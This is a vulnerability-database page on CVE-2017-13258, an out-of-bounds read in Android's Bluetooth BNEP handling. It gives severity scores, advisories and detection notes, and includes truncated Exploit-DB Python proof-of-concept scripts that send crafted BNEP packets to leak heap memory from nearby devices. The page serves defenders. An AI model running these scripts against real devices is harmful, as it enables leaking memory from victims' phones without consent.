CVE-2017-13258
published 2018-04-04CVE-2017-13258: In bnep_data_ind of bnep_main.cc, there is a possible out of bounds read due to a missing bounds check. This could lead to remote information disclosure with…
PriorityP356high7.5CVSS 3.0
AVNACLPRNUINSUCHINAN
EXPLOIT
EPSS
7.40%
93.7th percentile
In bnep_data_ind of bnep_main.cc, there is a possible out of bounds read due to a missing bounds check. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android. Versions: 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1. Android ID: A-67863755.
Affected
17 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| google_inc | android | — | — |
| google_inc | android | — | — |
| google_inc | android | — | — |
| google_inc | android | — | — |
| google_inc | android | — | — |
| google_inc | android | — | — |
| google_inc | android | — | — |
| google_inc | android | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
type_and_ext_present = BNEP_FRAME_COMPRESSED_ETHERNET | 0x80 (0x82), ext = 0x80
- →The vulnerable code path is in bnep_data_ind() (bnep_main.cc) and bnep_process_control_packet() (bnep_utils.cc) in the com.android.bluetooth process; look for anomalous heap reads or crashes in that process on affected AOSP versions 5.1.1–8.1. ↗
- →Exploitation requires no user interaction and no additional privileges — any Bluetooth-range device can trigger the bug without pairing; alert on repeated short BNEP control packets from the same source BD address. ↗
- ·The heap-disclosure exploit performs 20 leak attempts by default (LEAK_ATTEMPTS = 20), iterating the length byte from 0 to 19; a single attempt may not be sufficient to leak useful data, so detection logic should account for repeated short BNEP packets in rapid succession. ↗
- ·The exploit requires the attacker to bind a raw L2CAP BluetoothSocket and must be run as root on the attacking device; this limits the attacker profile but does not affect the victim-side detection surface. ↗
CVSS provenance
nvdv3.07.5HIGHCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
nvdv2.05.0MEDIUMAV:N/AC:L/Au:N/C:P/I:N/A:N
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Android
CVE-2017-13258: Android Security Bulletin 2018-03-01
CVE: CVE-2017-13258
Severity: HIGH
Type: ID
Affected AOSP versions: 5
vendor_android·2018-03-01·CVSS 7.5
CVE-2017-13258 [HIGH] CVE-2017-13258: Android Security Bulletin 2018-03-01
CVE: CVE-2017-13258
Severity: HIGH
Type: ID
Affected AOSP versions: 5
Android Security Bulletin 2018-03-01
CVE: CVE-2017-13258
Severity: HIGH
Type: ID
Affected AOSP versions: 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1
References: A-67863755
GHSA
GHSA-fcf3-mw56-v384: In bnep_data_ind of bnep_main
ghsa_unreviewed·2022-05-14
CVE-2017-13258 [HIGH] CWE-125 GHSA-fcf3-mw56-v384: In bnep_data_ind of bnep_main
In bnep_data_ind of bnep_main.cc, there is a possible out of bounds read due to a missing bounds check. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android. Versions: 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1. Android ID: A-67863755.
No detection rules found.
Exploit-DB
Android Bluetooth - BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-of-Bounds Read
exploitdb·2018-03-23
CVE-2017-13262 Android Bluetooth - BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-of-Bounds Read
Android Bluetooth - BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-of-Bounds Read
---
import os
import sys
import struct
import bluetooth
BNEP_PSM = 15
BNEP_FRAME_CONTROL = 0x01
# Control types (parsed by bnep_process_control_packet() in bnep_utils.cc)
BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01
def oob_read(src_bdaddr, dst):
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.settimeout(5)
bnep.bind((src_bdaddr, 0))
print 'Connecting to BNEP...'
bnep.connect((dst, BNEP_PSM))
bnep.settimeout(1)
print "Triggering OOB read (you may need a debugger to verify that it's actually happening)..."
# This crafted BNEP packet just contains the BNEP_FRAME_CONTROL frame type,
# plus the BNEP_SETUP_CONNECTION_REQUEST_MSG control type.
# It doesn't include the 'len' field, therefore it is read from
Exploit-DB
Android Bluetooth - BNEP bnep_data_ind() Remote Heap Disclosure
exploitdb·2018-03-23
CVE-2017-13262 Android Bluetooth - BNEP bnep_data_ind() Remote Heap Disclosure
Android Bluetooth - BNEP bnep_data_ind() Remote Heap Disclosure
---
import os
import sys
import struct
import bluetooth
BNEP_PSM = 15
BNEP_FRAME_COMPRESSED_ETHERNET = 0x02
LEAK_ATTEMPTS = 20
def leak(src_bdaddr, dst):
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.settimeout(5)
bnep.bind((src_bdaddr, 0))
print 'Connecting to BNEP...'
bnep.connect((dst, BNEP_PSM))
bnep.settimeout(1)
print 'Leaking bytes from the heap of com.android.bluetooth...'
for i in range(LEAK_ATTEMPTS):
# A byte from the heap at (p + controlled_length) will be leaked
# if it's greater than BNEP_FILTER_MULTI_ADDR_RESPONSE_MSG (0x06).
# This BNEP packet can be seen in Wireshark with the following info:
# "Compressed Ethernet+E - Type: unknown[Malformed packet]".
# The response sent by bnep_send_command_no
No writeups or analysis indexed.
http://www.securityfocus.com/bid/103253https://source.android.com/security/bulletin/2018-03-01https://www.exploit-db.com/exploits/44326/https://www.exploit-db.com/exploits/44327/http://www.securityfocus.com/bid/103253https://source.android.com/security/bulletin/2018-03-01https://www.exploit-db.com/exploits/44326/https://www.exploit-db.com/exploits/44327/
2018-04-04
Published